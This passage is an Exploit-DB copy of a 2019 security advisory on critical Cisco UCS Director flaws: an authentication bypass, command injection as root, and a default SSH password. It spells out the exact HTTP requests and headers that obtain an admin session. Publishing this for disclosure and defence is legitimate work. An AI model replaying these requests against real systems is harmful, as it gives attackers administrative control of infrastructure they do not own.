Exploit-DB #47313
Description: Cisco UCS Director_ Cisco Integrated Management Controller Supervisor and Cisco UCS Director Express for Big Data - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2019-08-21
Author: Pedro Ribeiro

Exploit:
>> Multiple critical vulnerabilities in Cisco UCS Director, Cisco Integrated Management Controller Supervisor and Cisco UCS Director Express for Big Data
>> Discovered by Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
=================================================================================
Disclosure: 21/08/2019 / Last updated: 22/08/2019


>> Executive summary:
Cisco UCS Director (UCS) is a cloud orchestration product that automates common private cloud infrastructure management functions. It is built using Java and a variety of other technologies and distributed as a Linux based virtual appliance. A demo of the UCS virtual appliance can be freely downloaded from Cisco's website [1].

Due to several coding errors, it is possible for an unauthenticated remote attacker with no privileges to bypass authentication and abuse a password change function to inject arbitrary commands and execute code as root.
In addition, there is a default unprivileged user with a known password that can login via SSH and execute commands on the virtual appliance provided by Cisco. 
Two Metasploit modules were released with this advisory, one that exploits the authentication bypass and command injection, and another that exploits the default SSH password.

Please note that according to Cisco [2] [3] [4], all three vulnerabilities described in this advisory affect Cisco UCS Director, Cisco Integrated Management Controller Supervisor and Cisco UCS Director Express for Big Data. However, Agile Information Security only tested Cisco UCS Director.

Agile Information Security would like to thank Accenture Security (previously iDefense) [5] for handling the disclosure process with Cisco.


>> Vendor description [6]:
"Cisco UCS Director delivers a foundation for private cloud Infrastructure as a Service (IaaS). It is a heterogeneous management platform that features multivendor task libraries with more than 2500 out-of-the-box workflow tasks for end-to-end converged and hyperconverged stack automation.
You can extend your capabilities to:
- Automate provisioning, orchestration, and management of Cisco and third-party infrastructure resources
- Order resources and services from an intuitive self-service portal
- Automate security and isolation models to provide repeatable services
- Standardize and automate multitenant environments across shared infrastructure instances"


>> Technical details:
#1
Vulnerability: Web Interface Authentication Bypass / CWE-287
CVE-2019-1937
Cisco Bug ID: CSCvp19229 [2]
Risk Classification: Critical
Attack Vector: Remote
Constraints: No authentication required
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and 6.7.0, see [2] for Cisco's list of affected versions

UCS exposes a management web interface on ports 80 and 443 so that users of UCS can perform cloud management functions.
Due to a number of coding errors and bad practices, it is possible for an unauthenticated attacker to obtain an administrative session by bypassing authentication. 
The following sequence of requests and responses shows the authentication bypass works.

1.1) First we send a request to ClientServlet to check our authentication status:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Requested-With: XMLHttpRequest

... to which the server responds with a redirect to the login page since we are not authenticated:
HTTP/1.1 302 Found
Location: https://10.0.3.100/app/ui/login.jsp
Content-Length: 0
Server: Web

1.2) We now follow the redirection to obtain a JSESSIONID cookie:
GET /app/ui/login.jsp HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Requested-With: XMLHttpRequest

And the server responds with our cookie:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745; Path=/app; Secure; HttpOnly
Server: Web

1.3) Then we repeat the request from 1.1), but this time with the JSESSIONID cookie obtained in 1.2):
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;
X-Requested-With: XMLHttpRequest

... and we still get redirected to the login page, as in step 1.1):
HTTP/1.1 302 Found
Location: https://10.0.3.100/app/ui/login.jsp
Content-Length: 0
Server: Web

1.4) To completely bypass authentication, we just need to send the JSESSIONID cookie with added X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set to random values:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Starship-UserSession-Key: ble
X-Starship-Request-Key: bla
Cookie: JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;
X-Requested-With: XMLHttpRequest

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3; Path=/app; Secure; HttpOnly
Connection: close
Server: Web
Content-Length: 428

{"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"}

... and just like that, we can see from the information the server returned that we are logged in as the "admin" user! From now on, we need to use the new JSESSIONID cookie returned by the server in 1.4) to have full administrative access to the UCS web interface.

To summarise, our exploit needs to:
a) obtain a JSESSIONID cookie
b) "authenticate" it by sending a request to ClientServlet with the X-Starship-UserSession-Key and X-S